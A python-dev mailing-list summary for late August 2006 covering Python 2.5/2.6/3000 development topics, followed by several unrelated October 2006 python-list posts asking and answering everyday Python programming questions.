Want to make sure your package works with the latest and greatest development and release versions of Python? Thanks to Grig Gheorghiu, you can add your test suite to the `Python community buildbots`_ and the results of these tests will show up on the `Python buildbot results page`_.

.. _Python community buildbots: http://www.pybots.org/
.. _Python buildbot results page: http://www.python.org/dev/buildbot/

Contributing thread:

- `link to community buildbot? <http://mail.python.org/pipermail/python-dev/2006-August/068552.html>`__


=========
Summaries
=========

---------------------
Fast subclass testing
---------------------

Neal Norwitz was playing around with a patch that would make subclass testing for certain builtin types faster by stealing some bits from tp_flags. Georg Brandl thought this could be useful for exception handling in Python 3000 when all exceptions must be subclasses of BaseException. Guido also liked the patch and suggested it be checked into the `Python 3000 branch`_.

.. _Python 3000 branch: http://svn.python.org/view/python/branches/p3yk/

Contributing thread:

- `Type of range object members <http://mail.python.org/pipermail/python-dev/2006-August/068267.html>`__

-----------------------------
gcc 4.2 and integer overflows
-----------------------------

Jack Howarth pointed out that intobject.c was using the test ``x < 0 && x == -x`` to determine if the signed integer ``x`` was the most negative integer on the platform. However, the C standard says overflow is undefined, so despite this code actually working on pretty much all known hardware, `gcc 4.2 assumes that overflow won't happen`_ and so optimizes away the entire clause. David Hopwood and Tim Peters provided a patch that casts ``x`` to an unsigned long (the "unnecessary" ``0`` is to make the Microsoft compilers happy)::

    x < 0 && (unsigned long)x == 0-(unsigned long)x
    
.. _gcc 4.2 assumes that overflow won't happen: http://bugs.python.org/1545668

Contributing thread:

- `gcc 4.2 exposes signed integer overflows <http://mail.python.org/pipermail/python-dev/2006-August/068481.html>`__

--------------------------
Python and 64-bit machines
--------------------------

Thomas Heller explained that the _ctypes extension module was still a fair ways from building on Win64 and had to be removed from the installer for that platform. There was some discussion about in general how "experimental" the Win64 build of Python was, but Martin v. Lowis explained that despite the compiler warnings, Python has been running mostly fine on Win64 since version 2.4. In fact, Python has been running in 64-bit machines since 1993 (when Tim Peters ported it to 64-bit Crays) though of course not with the support that Python 2.5 brought through the Py_ssize_t changes.

Contributing thread:

- `ctypes and win64 <http://mail.python.org/pipermail/python-dev/2006-August/068362.html>`__

------------------------------------------
Guidelines for submitting bugs and patches
------------------------------------------

Brett Cannon put together a rewrite of the `bug and patch guidelines`_.  The bug guidelines now includes sections on how to:

* Get a SourceForge account
* Start a new bug
* Specify the Python version
* Specify special settings for your Python interpreter
* Give sample code to reproduce bug
* Submit!
* Respond to requests from developers

And the patch guidelines now includes sections on how to:

* Read the Developer Intro to understand the scope of your proposed change
* Add the appropriate unit tests
* Add the proper document changes
* Make your code follow the style guidelines
* Generate a patch
* Create a tracker item on SourceForge
* Reference the patch in proper bug reports
* Wait for a developer to contact you

At Chad Whitacre's suggestion, Brett also included a section on the 5-for-1 rule, where some python-devvers have agreed to review your one patch if you post reviews of five others.

The updates had not been posted to python.org at the time of this summary.

.. _bug and patch guidelines: http://www.python.org/dev/patches/

Contributing threads:

- `draft for bug guidelines <http://mail.python.org/pipermail/python-dev/2006-August/068462.html>`__
- `draft of patch guidelines <http://mail.python.org/pipermail/python-dev/2006-August/068463.html>`__

---------------------------------
Corner cases for continue/finally
---------------------------------

Dino Viehland pointed out an odd corner case with ``continue`` in a ``finally`` clause that was causing Python to crash::

    for abc in range(10):
        try: pass
        finally:
            try:
                continue
            except:
                pass

The bug was present at least all the way back to Python 2.3. People tossed a few patches back and forth (and a few tests which broke various versions of the patches) before `Neal Norwitz posted a patch`_ that people seemed to like.

.. _Neal Norwitz posted a patch: http://bugs.python.org/1542451

Contributing thread:

- `2.4 & 2.5 beta 3 crash <http://mail.python.org/pipermail/python-dev/2006-August/068306.html>`__

---------------------------------------
PEP 343: decimal module context manager
---------------------------------------

Raymond Hettinger pointed out that the updates to the decimal module to take advantage of the ``with``-statement differed dramatically from `PEP 343`_ and were misdocumented in a number of places. Nick Coghlan explained that the API was a result of the introduction and then later removal of the ``__context__`` method.  After some discussion, Raymond convinced everyone to change the API from::

    with decimal.getcontext().copy().get_manager() as ctx:
        ...

to the simpler API originally introduced in `PEP 343`_::

    with decimal.localcontext() as ctx:
        ...

As a result of the changes needed to fix this API, Anthony Baxter decided that another release candidate was necessary before Python 2.5 final could be released.

.. _PEP 343: http://www.python.org/dev/peps/pep-0343/

Contributing thread:

- `Py2.5 issue: decimal context manager misimplemented, misdesigned, and misdocumented <http://mail.python.org/pipermail/python-dev/2006-August/068532.html>`__

----------------------------
Python 2.6 development goals
----------------------------

Guido suggested that since Python 3.0 is now being developed in parallel with the 2.X trunk, the major work for Python 2.6 should be in making the transition to Python 3.0 as smooth as possible.  This meant:

* Adding warnings (suppressed by default) for code incompatible with Python 3.0.
* Making all Python 2.X library code as Python 3.0-compatible as possible.
* Converting all unittests to unittest or doctest format.

Brett Cannon suggested adding to this list:

* Improving tests and classifying them better
* Updating and improving the documentation

In general, people seemed to think this was a pretty good approach, particularly as it would address some of the complaints about the speed of addition of new features to Python.  The discussion then moved off to the `python-3000 list`_.

.. _python-3000 list: http://mail.python.org/mailman/listinfo/python-3000

Contributing threads:

- `What should the focus for 2.6 be? <http://mail.python.org/pipermail/python-dev/2006-August/068400.html>`__
- `[Python-3000] What should the focus for 2.6 be? <http://mail.python.org/pipermail/python-dev/2006-August/068421.html>`__

-----------------------
Python 2.5, VC8 and PGO
-----------------------

Muguntharaj Subramanian asked about building Python 2.5 with the VC8 compiler.  Christopher Baus had recently provided a few patches to get the VC8 build working better and Kristjan V. Jonsson said that he's working on updating the PCBuild8 directory in the trunk in a number of ways, including better support for profile-guided optimization (PGO) builds. He said once he got everything working right, he'd backport to Python 2.5.

Contributing threads:

- `Failed building 2.5rc1 pythoncore on VC8 <http://mail.python.org/pipermail/python-dev/2006-August/068365.html>`__
- `patch to add socket module project to vc8 solution <http://mail.python.org/pipermail/python-dev/2006-August/068370.html>`__
- `Error while building 2.5rc1 pythoncore_pgo on VC8 <http://mail.python.org/pipermail/python-dev/2006-August/068545.html>`__

----------------------------------------------
PEP 342: using return instead of GeneratorExit
----------------------------------------------

Igor Bukanov suggested that the GeneratorExit exception introduced by `PEP 342`_ could be eliminated by replacing it with the semantics of the ``return`` statement.  This would allow code like the following, which under the GeneratorExit paradigm would execute the ``except`` clause, to only execute the ``finally`` clause::

    def gen():
        try:
            yield 0
        except Exception:
            print "Unexpected exception!"
        finally:
            print "Finally"

    for i in gen():
        print i
        break

Phillip J. Eby and others liked the approach, but suggested that it was much too late in the release process to be making such a major language change. Guido was open to making a change like this, perhaps in Python 3.0, but wanted the new generator enhancements to have some time in the field to see what was really needed here.

.. _PEP 342: http://www.python.org/dev/peps/pep-0342/

Contributing thread:

- `GeneratorExit is unintuitive and uneccessary <http://mail.python.org/pipermail/python-dev/2006-August/068429.html>`__

------------------------------------------
String formatting, __str__ and __unicode__
------------------------------------------

John J Lee noticed that in Python 2.5, the ``%s`` format specifier calls ``__unicode__`` on objects if their ``__str__`` method returns a unicode object::

    >>> class a(object):
    ...     def __str__(self):
    ...         print '__str__'
    ...         return u'str'
    ...     def __unicode__(self):
    ...         print '__unicode__'
    ...         return u'unicode'
    ...
    >>> '%s%s' % (a(), a())
    __str__
    __unicode__
    __unicode__
    u'unicodeunicode'

Nick Coghlan explained that string formatting first tries to build and return a str object, but starts over if any of the objects to be formatted by the ``%s`` specifier are unicode. So if a ``__str__`` method is called during string formatting and it returns a unicode object, Python will decide that the string formatting operation needs to return a unicode object, and will therefore start over, calling the ``__unicode__`` methods. Nick promised to look into making the documentation for this a bit clearer.

Contributing thread:

- `String formatting / unicode 2.5 bug? <http://mail.python.org/pipermail/python-dev/2006-August/068393.html>`__

-------------------------
Optimizing global lookups
-------------------------

K.S. Sreeram asked about replacing the current LOAD_GLOBAL dict lookup with an array indexing along the lines of what is done for local names. Brett Cannon explained that globals can be altered from the outside, e.g. ``import mod; mod.name = value``, and thus globals aren't necessarily known at compile time. Tim Peters pointed out that a number of PEPs have been written in this area of optimization, with `PEP 280`_ being a good place to start. Most people were not opposed to the idea in general, but without an implementation to benchmark, there wasn't really much to discuss.

.. _PEP 280: http://www.python.org/dev/peps/pep-0280/

Contributing thread:

- `Can LOAD_GLOBAL be optimized to a simple array lookup? <http://mail.python.org/pipermail/python-dev/2006-August/068437.html>`__

---------------------
ElementTree and PEP 8
---------------------

Greg Ewing asked about changing the ElementTree names to be more `PEP 8`_ compliant. Being that Python was already in the release candidate stage for Python 2.5, this was not possible. Even had the issue been raised earlier, such a change would have been unlikely, as it would have discouraged people who needed some backward compatibility from using the version in the stdlib.

.. _PEP 8: http://www.python.org/dev/peps/pep-0008/

Contributing thread:

- `Doc suggestion for Elementtree (for 2.5? a bit late, I know...) <http://mail.python.org/pipermail/python-dev/2006-August/068503.html>`__

--------
rslice()
--------

Nick Coghlan suggested that since reversing slices could be somewhat complicated, e.g. ``(stop - 1) % abs(step) : start - 1 : -step``, it would be helpful to introduce a ``rslice()`` builtin so that this could be written ``rslice(start, stop, step)``.  Most people felt that this was unnecessary and didn't gain much over using ``reversed()`` on the sliced sequence.

Contributing thread:

- `Adding an rslice() builtin? <http://mail.python.org/pipermail/python-dev/2006-August/068512.html>`__

----------------------------------
PEP 362: Function Signature Object
----------------------------------

Brett Cannon spent his time at the Google sprint working on `PEP 362`_, which introduces a signature object for functions to describe what arguments they take. He asked for some feedback on two points:

* Should the signature object be an attribute on all functions or should it be requested through the inspect module?
* Should the dict returned by ``Signature.bind()`` key by name or by a tuple of names for argument lists like ``def f((a, b)):``?

After some pretty minimal feedback, he posted the `latest version of the patch`_.

.. _PEP 362: http://www.python.org/dev/peps/pep-0362/
.. _latest version of the patch: http://bugs.python.org/1544909

Contributing threads:

- `[Python-checkins] r51458 - peps/trunk/pep-0000.txt peps/trunk/pep-0362.txt <http://mail.python.org/pipermail/python-dev/2006-August/068422.html>`__
- `PEP 362 open issues <http://mail.python.org/pipermail/python-dev/2006-August/068443.html>`__

----------------------------------------
Warn about mixing tabs and spaces in 2.6
----------------------------------------

Thomas Wouters suggested making the ``-t`` flag the default in Python 2.6.  This would make Python always issue warnings if users mixed tabs and spaces.  People generally seemed in favor of the idea.

Contributing thread:

- `Making 'python -t' the default. <http://mail.python.org/pipermail/python-dev/2006-August/068297.html>`__

---------------------
xrange() and non-ints
---------------------

Neal Norwitz was playing around with some patches that would allow ``xrange`` in Python 2.6 to accept longs or objects with an ``__index__`` method instead of just ints as it does now. He looked at two Python implementations, a Python-C hybrid implementation and a C implementation, and found that for his benchmark, the Python-C hybrid was as good as the C implementation. People suggested that the benchmark wasn't testing function call overhead well enough, and the pure C implementation was probably still the way to go.

Contributing thread:

- `xrange accepting non-ints <http://mail.python.org/pipermail/python-dev/2006-August/068455.html>`__

------------------------------------
Cleanup tasks and the logging module
------------------------------------

The logging module currently maintains compatibility back to 1.5. Guido suggested (and Vinay approved) modernizing it to at least 2.2.

The SimpleTodo_ wiki lists other useful cleanup tasks.

.. _SimpleTodo: http://wiki.python.org/moin/SimpleTodo

Contributing thread:

- `Removing anachronisms from logging module <http://mail.python.org/pipermail/python-dev/2006-August/068476.html>`__

[Thanks to Jim Jewett for this summary]

---------------------------
The purpose of test_mutants
---------------------------

test_mutants started to fail in the Python 3 branch, and Guido wasn't sure what it was *supposed* to do.  Tim Peters said it was supposed to not crash, and is there because of previous refcount bugs. `Guido patched another`_ that it exposed.

.. _Guido patched another: http://bugs.python.org/1546288

Contributing thread:

- `Need help with test_mutants.py <http://mail.python.org/pipermail/python-dev/2006-August/068464.html>`__

[Thanks to Jim Jewett for this summary]


================
Deferred Threads
================
- `Interest in a Python 2.3.6? <http://mail.python.org/pipermail/python-dev/2006-August/068520.html>`__
- `That library reference, yet again <http://mail.python.org/pipermail/python-dev/2006-August/068556.html>`__

==================
Previous Summaries
==================
- `no remaining issues blocking 2.5 release <http://mail.python.org/pipermail/python-dev/2006-August/068269.html>`__

===============
Skipped Threads
===============
- `IDLE patches - bugfix or not? <http://mail.python.org/pipermail/python-dev/2006-August/068283.html>`__
- `TRUNK FREEZE for 2.5c1, 00:00 UTC, Thursday 17th August <http://mail.python.org/pipermail/python-dev/2006-August/068284.html>`__
- `Weekly Python Patch/Bug Summary <http://mail.python.org/pipermail/python-dev/2006-August/068296.html>`__
- `Benchmarking the int allocator (Was: Type of range object members) <http://mail.python.org/pipermail/python-dev/2006-August/068307.html>`__
- `2.5: recently introduced sgmllib regexp bug hangs Python <http://mail.python.org/pipermail/python-dev/2006-August/068324.html>`__
- `[wwwsearch-general] 2.5: recently introduced sgmllib regexp bug hangs Python <http://mail.python.org/pipermail/python-dev/2006-August/068325.html>`__
- `recently introduced sgmllib regexp bughangs Python <http://mail.python.org/pipermail/python-dev/2006-August/068332.html>`__
- `RELEASED Python 2.5 (release candidate 1) <http://mail.python.org/pipermail/python-dev/2006-August/068335.html>`__
- `TRUNK IS UNFROZEN, available for 2.6 work if you are so inclined <http://mail.python.org/pipermail/python-dev/2006-August/068336.html>`__
- `[Python-checkins] TRUNK IS UNFROZEN, available for 2.6 work if you are so inclined <http://mail.python.org/pipermail/python-dev/2006-August/068337.html>`__
- `Fixing 2.5 windows buildbots <http://mail.python.org/pipermail/python-dev/2006-August/068339.html>`__
- `uuid tests failing on Windows <http://mail.python.org/pipermail/python-dev/2006-August/068341.html>`__
- `Sprints next week at Google <http://mail.python.org/pipermail/python-dev/2006-August/068348.html>`__
- `__del__ unexpectedly being called twice <http://mail.python.org/pipermail/python-dev/2006-August/068358.html>`__
- `How does this help? Re: [Python-checkins] r51366 - python/trunk/Lib/idlelib/NEWS.txt python/trunk/Lib/idlelib/idlever.py <http://mail.python.org/pipermail/python-dev/2006-August/068366.html>`__
- `One-line fix for urllib2 regression <http://mail.python.org/pipermail/python-dev/2006-August/068372.html>`__
- `os.spawnlp() missing on Windows in 2.4? <http://mail.python.org/pipermail/python-dev/2006-August/068373.html>`__
- `Questions on unittest behaviour <http://mail.python.org/pipermail/python-dev/2006-August/068378.html>`__
- `[Python-checkins] How does this help? Re: r51366 - python/trunk/Lib/idlelib/NEWS.txt python/trunk/Lib/idlelib/idlever.py <http://mail.python.org/pipermail/python-dev/2006-August/068387.html>`__
- `SSH Key Added <http://mail.python.org/pipermail/python-dev/2006-August/068394.html>`__
- `uuid module - byte order issue <http://mail.python.org/pipermail/python-dev/2006-August/068396.html>`__
- `A cast from Py_ssize_t to long <http://mail.python.org/pipermail/python-dev/2006-August/068407.html>`__
- `Python + Java Integration <http://mail.python.org/pipermail/python-dev/2006-August/068434.html>`__
- `[4suite] cDomlette deallocation bug? <http://mail.python.org/pipermail/python-dev/2006-August/068435.html>`__
- `[Python-checkins] r51525 - in python/trunk: Lib/test/test_float.py Objects/floatobject.c <http://mail.python.org/pipermail/python-dev/2006-August/068445.html>`__
- `for 2.5 issues <http://mail.python.org/pipermail/python-dev/2006-August/068461.html>`__
- `Need help with test_mutants.py <http://mail.python.org/pipermail/python-dev/2006-August/068464.html>`__
- `zip -> izip; is __length_hint__ required? <http://mail.python.org/pipermail/python-dev/2006-August/068473.html>`__
- `Removing anachronisms from logging module <http://mail.python.org/pipermail/python-dev/2006-August/068476.html>`__
- `distutils patch <http://mail.python.org/pipermail/python-dev/2006-August/068505.html>`__
- `32-bit and 64-bit python on Solaris <http://mail.python.org/pipermail/python-dev/2006-August/068528.html>`__
- `Small Py3k task: fix modulefinder.py <http://mail.python.org/pipermail/python-dev/2006-August/068529.html>`__
- `Windows build slave downtime <http://mail.python.org/pipermail/python-dev/2006-August/068553.html>`__




========
Epilogue
========

This is a summary of traffic on the `python-dev mailing list`_ from
August 16, 2006 through August 31, 2006.
It is intended to inform the wider Python community of on-going
developments on the list on a semi-monthly basis.  An archive_ of
previous summaries is available online.

An `RSS feed`_ of the titles of the summaries is available.
You can also watch comp.lang.python or comp.lang.python.announce for
new summaries (or through their email gateways of python-list or
python-announce, respectively, as found at http://mail.python.org).

This python-dev summary is the 11th written by 
Steve Bethard. 

To contact me, please send email:

- Steve Bethard (steven.bethard at gmail.com)

Do *not* post to comp.lang.python if you wish to reach me.

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--------------------
Commenting on Topics
--------------------

To comment on anything mentioned here, just post to
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discussing.  All python-dev members are interested in seeing ideas
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-------------------------
How to Read the Summaries
-------------------------

This summary is written using reStructuredText_. Any unfamiliar
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.. _python-dev: http://www.python.org/dev/
.. _python-dev mailing list: http://mail.python.org/mailman/listinfo/python-dev
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.. _archive: http://www.python.org/dev/summary/
.. _RSS feed: http://www.python.org/dev/summary/channews.rdf




From jstroud at mbi.ucla.edu  Tue Oct 24 23:36:02 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 25 Oct 2006 03:36:02 GMT
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <mailman.1127.1161738877.11739.python-list@python.org>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<mailman.1127.1161738877.11739.python-list@python.org>
Message-ID: <CYA%g.15867$GR.5559@newssvr29.news.prodigy.net>

Ben Finney wrote:
> pretoriano_2001 at hotmail.com writes:
> 
> 
>>I have next dictionaries:
>>a={'a':0, 'b':1, 'c':2, 'd':3}
>>b={'a':0, 'c':1, 'd':2, 'e':3}
>>I want to put in a new dictionary named c all the keys that are in b
>>and re-sequence the values.
> 
> 
> They never had a sequence, so you can't "re-sequence" them.
> 
> You have not, perhaps, worked your way through the Python
> tutorial. It's quite comprehensive and will give you a good grounding
> in the basic concepts.
> 
>     <URL:http://docs.python.org/tut/>
> 

The values in the example are sequentially ordered wrt the keys, which 
is perhaps what the OP intends.


c = dict(((k,v) for (v,k) in enumerate(x for x in sorted(a.keys()) if 
b.has_key(x))))

But, yes, there is decided ambiguity in his description of the problem.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From orsenthil at gmail.com  Thu Oct 12 13:44:00 2006
From: orsenthil at gmail.com (Phoe6)
Date: 12 Oct 2006 10:44:00 -0700
Subject: strings in the global section
Message-ID: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>

I write a script:
#!/usr/bin/python
astring = "This is a String"

def fun1():
        astring = "I modify it in fun1"
def fun2():
        astring = "I modify it in fun2"
def main():
        print astring
        fun1()
        print astring
        fun2()
        print astring
if __name__ == '__main__':
        main()
~


~


And I am expecting the output to be:
This is a String
I modify it in fun1
I modify it in fun2

But it is not so. It always prints This is a String. astring declared
outside all the functions, is not in global section and values be
overwritten by functions accessing it?

- How is this working?
- What should I do to overwrite the string variable in the global
section within functions?

Thanks,
Senthil



From gerrit at nl.linux.org  Fri Oct  6 03:40:27 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Fri, 6 Oct 2006 09:40:27 +0200
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <20061006074027.GA21202@topjaklont.student.utwente.nl>

On 2006-10-06 04:50:33 +0200, s99999999s2003 at yahoo.com wrote:
> say i have variables like these
> 
> var1 = "blah"
> var2 = "blahblah"
> var3 = "blahblahblah"
> var4 = "...."
> var5 = "..."..
> 
> bcos all the variable names start with "var", is there a way to
> conveniently print those variables out...
> eg print var* ??
> i don't want to do :
> 
> print var1, var2, var3, var4 ......etc...

Don't do this:

>>> import fnmatch
>>> var1, var2, var3 = "foo", "bar", "baz"
>>> for k in fnmatch.filter(locals(), "var*"):
...  print locals()[k]
...
foo
baz
bar

This is evil.
It's unpythonic.
This is yet another way to do it - QED.

Gerrit.


From liquidsnk at gmail.com  Mon Oct  9 20:15:17 2006
From: liquidsnk at gmail.com (Liquid Snake)
Date: Mon, 9 Oct 2006 21:15:17 -0300
Subject: doesNotUnderstand?
Message-ID: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com>

Hello :). Some days ago i went to a seminar about Metaprograming and
Reflection.
I was a little famirialized with the subject, and wanted to explore it
further.
The seminar was great, but the point is that every example was programmed in
smalltalk.
I know smalltalk, and never have much use for the doesNotUnderstand method
until the guys at the conference open my eyes with some examples.
Altough i have applied concepts of reflection in python many times, i think
i't will be nice to have a magic method that works like doesNotUnderstand
for some purposes.
The reason i'm writing is because i want to know if such method already
exists... or maybe... if you think having one it's a good/possible idea.

Right now... im thinkng i really can emulate that behavior using
Exceptions..., and i really think that's what SmallTalk kind of do
under-the-hood (dont flame me if i'm terribly worng plz).
But i still want to know if theres a method like __insertMethodNameHere__
that does it for me... or if you think it's a nice thing to have...

i'm REALLY SORRY for my REALLY BAD English... so..., don't hate me please..
And I'm sorry if this question wasted your time.

Thanks anyway..

liquid ^.^
-------------- next part --------------
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From theller at ctypes.org  Tue Oct 24 04:06:59 2006
From: theller at ctypes.org (Thomas Heller)
Date: Tue, 24 Oct 2006 10:06:59 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <87lkn6qh6q.fsf@benfinney.id.au>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>	<ehioo2$fef$1@sea.gmane.org>
	<021801c6f734$cb375900$03000080@hendrik>
	<87lkn6qh6q.fsf@benfinney.id.au>
Message-ID: <453DC9A3.50903@ctypes.org>

Ben Finney schrieb:
> "Hendrik van Rooyen" <mail at microcorp.co.za> writes:
> 
> [quoting problems fixed]
> 
>>  "Fredrik Lundh" <fredrik at pythonware.com> wrote:
>> > some days, I ask myself why I shouldn't just use GPL for
>> > everything I do, and ship it as source code only.
>>
>> because then you would deny your work to thousands of ungrateful,
>> unmotivated lazy buggers like me...
> 
> Not necessarily. All it needs is one person (with the same platform
> you want to use) to take the source, build it for that platform, and
> make it available. All the other "ungrateful, unmotivated lazy
> buggers" can then take advantage of that -- and reward the person with
> whatever praise they require :-)
> 
I wonder if it would be possible to setup a windows box which provides
a (web-)service that allows to build Python packages.

Any ideas how this could be made secure?

Thomas



From fredrik at pythonware.com  Wed Oct 25 04:02:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 10:02:32 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453f16e5$0$28552$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>	<eddc3$453eb1df$54d1d767$28881@news.chello.no>	<mailman.1144.1161755212.11739.python-list@python.org>
	<453f16e5$0$28552$426a74cc@news.free.fr>
Message-ID: <ehn5mo$7is$1@sea.gmane.org>

Christophe wrote:

>>>> commercial deployment is expensive; free deployment must be GPL;
 >>>
>>> Opinions differ on the first one of these.
>> even if you define "expensive" as "costs more money than the others" ?
 >
> Even if you consider that the huge time saving you get out of using Qt 
> is worth more than what you pay to acquire a licence?

then it sounds like a combination between "it's a silver bullet!" and 
"commercial software is better than free software!".

no matter how good Qt is, the reality is that if you spend that much 
time on the UI implementation parts of your project, you're probably 
developing at the wrong abstraction level -- no matter what toolkit 
you're using.  and if you're doing UI development the wrong way, chances 
are that you're doing other things the wrong way too.

</F>



From kent at kentsjohnson.com  Tue Oct 17 09:33:56 2006
From: kent at kentsjohnson.com (Kent Johnson)
Date: Tue, 17 Oct 2006 13:33:56 GMT
Subject: Book about database application development?
In-Reply-To: <0001HW.C159B10900A0DF8AF0407530@news.individual.de>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
Message-ID: <8Z4Zg.6659$5i7.274@newsreading01.news.tds.net>

Wolfgang Keller wrote:
> I know about the existence of MVC. But what I'm actually missing is a nice 
> textbook that teaches how to actually implement it (and other design patterns 
> which are useful for database applications) in a real-world application in a 
> way that leads to non-ridiculous behaviour of the resulting application when 
> it gets actually used.

Maybe you would like Martin Fowler's "Patterns of Enterprise Application 
Architecture"
http://martinfowler.com/books.html#eaa

> Preferrably using a language for the examples that's readable for someone who 
> has learned programming ages ago with Pascal and is now using Python because 
> he _hates_ everything that remotely ressembles to any mutation of 
> C(++/#/Java).

Examples are mostly Java and C#, sorry!

Kent


From will at willNOmcguganSPAM.com  Thu Oct 12 07:19:37 2006
From: will at willNOmcguganSPAM.com (Will McGugan)
Date: Thu, 12 Oct 2006 12:19:37 +0100
Subject: Alternative constructors naming convention
In-Reply-To: <nKKdnXbBibAOprDYnZ2dnUVZ_rudnZ2d@comcast.com>
References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>
	<nKKdnXbBibAOprDYnZ2dnUVZ_rudnZ2d@comcast.com>
Message-ID: <452e24d2$0$1393$da0feed9@news.zen.co.uk>

Steven Bethard wrote:

> Are you really using staticmethod and calling __new__?  It's often much 
> easier to use classmethod, e.g.::
> 
>     class Color(object):
>         ...
>         @classmethod
>         def from_html(cls, r, g, b):
>             ...
>             # convert r, g, b to normal constructor args
>             ...
>             # call normal constructor
>             return cls(...)
> 

I could use that for some things, but often I can avoid an intermediate 
step by bypassing the class constructor altogether...

> And FWIW, I use lower_with_underscores for alternate constructors, not 
> CamelCase.

Seems to be the consensus. I think I'll stick_to_it!


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct  7 08:06:25 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 07 Oct 2006 22:06:25 +1000
Subject: error handling in user input: is this natural or just laborious
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
	<1160178799.914895.28100@k70g2000cwa.googlegroups.com>
	<1160180341.136179.176690@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.07.12.06.24.381201@REMOVE.THIS.cybersource.com.au>

On Fri, 06 Oct 2006 17:19:01 -0700, sam wrote:

> gosh, a lot of work to get some input. i must be missing something,
> though this is a lot better than what i had before...

Welcome to the real world of programming. Writing your algorithms is,
generally, the easy part. Handling data input and output and the user
interface is often much more work.

I would suggest you factor out logically separate parts of your code
something like this:

done = False
good_input = False
while not done:
    while not good_input:
        a, b, c, d = get_user_input() # or whatever values you need
        good_input = validate_user_input(a, b, c, d)
    done = do_something_with_input(a, b, c, d)


See how easy it is to understand the high level logic of the code,
without getting bogged down in gory details? Now all you have to do is
write functions get_user_input() etc.

E.g. I might write something like this:

class RangeError(ValueError):
    pass

def validate_user_input(a, b, c, d):
    # assumes all of a, b, c, d are percentages
    data = {'a': a, 'b':b, 'c': c, 'd': d}
    for name, value in data:
        try:
            float(value)
            if not (0.0 <= value <= 100.0):
                raise RangeError
        except RangeError:  # this must come first
             print name, "is out of range."
             return False
        except ValueError:
             print name, "is not a percentage."
             return False
    return True

-- 
Steve.



From david at boddie.org.uk  Fri Oct 27 10:47:22 2006
From: david at boddie.org.uk (David Boddie)
Date: 27 Oct 2006 07:47:22 -0700
Subject: PyQt-x11-gpl-3.16 compile error
References: <1161952403.534113.59630@f16g2000cwb.googlegroups.com>
Message-ID: <1161960442.301226.261210@f16g2000cwb.googlegroups.com>

baur79 at gmail.com wrote:
> [root at localhost PyQt-x11-gpl-3.16]# python configure.py -q
> /usr/lib/qt-3.3/
> This is the GPL version of PyQt 3.16 (licensed under the GNU General
> Public
> License) for Python 2.4.2 on linux2.

[...]

> Creating features file...
> Error: Unable to build mkfeatures utility.

Can you run the configure.py script again with the -w option as well as
the others you specified, then post the output here?

David



From hanumizzle at gmail.com  Wed Oct 11 04:37:48 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 04:37:48 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <452cab5d$0$5294$426a74cc@news.free.fr>
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
Message-ID: <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>

On 10/11/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:

> Now the real question : what if the object is not an instance of any of
> the types, but still support the expected interface ?

Perhaps:

try:
  for attribute in ['foo', 'bar', '__baz__']:
    getattr(mystery_object, '__%s__' % attribute)
except AttributeError:
  # Do sumthin bout it

Is it wrong to 're-raise' an exception with application-specific
details within an except clause?

-- Theerasak


From bjobrien62 at gmail.com  Mon Oct 30 19:23:11 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 30 Oct 2006 16:23:11 -0800
Subject: scared about refrences...
In-Reply-To: <ei60go$ngb$1@web.aioe.org>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
	<ei60go$ngb$1@web.aioe.org>
Message-ID: <1162254191.507805.276640@k70g2000cwa.googlegroups.com>


J. Clifford Dyer wrote:
> SpreadTooThin wrote:
> > Steven D'Aprano wrote:
> >> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:
> >>
> >>>>> How do I specify or create deep copies of objects that may contain
> >>>>> other objects that may contain other object that may contain other
> >>>>> objects....
> >>>> See the `copy` module especially `copy.deepcopy()`.
> >>>>
> >>> This appears to be the right thing to do to me.. (but what do I know?)
> >> Yes, copy.deepcopy() is the thing you want.
> >>
> >> But remember Fredrik's advice that well-designed Python code should not
> >> need to copy data structures often. I don't think I've ever needed to use
> >> deepcopy, and rarely copy.copy().
> >>
> >> In general, functions should not modify their caller's data. So this is
> >> bad practice:
> >>
> >> def print_list(alist):
> >>     """Print a sorted list"""
> >>     alist.sort()  # modifies the caller's data -- bad!
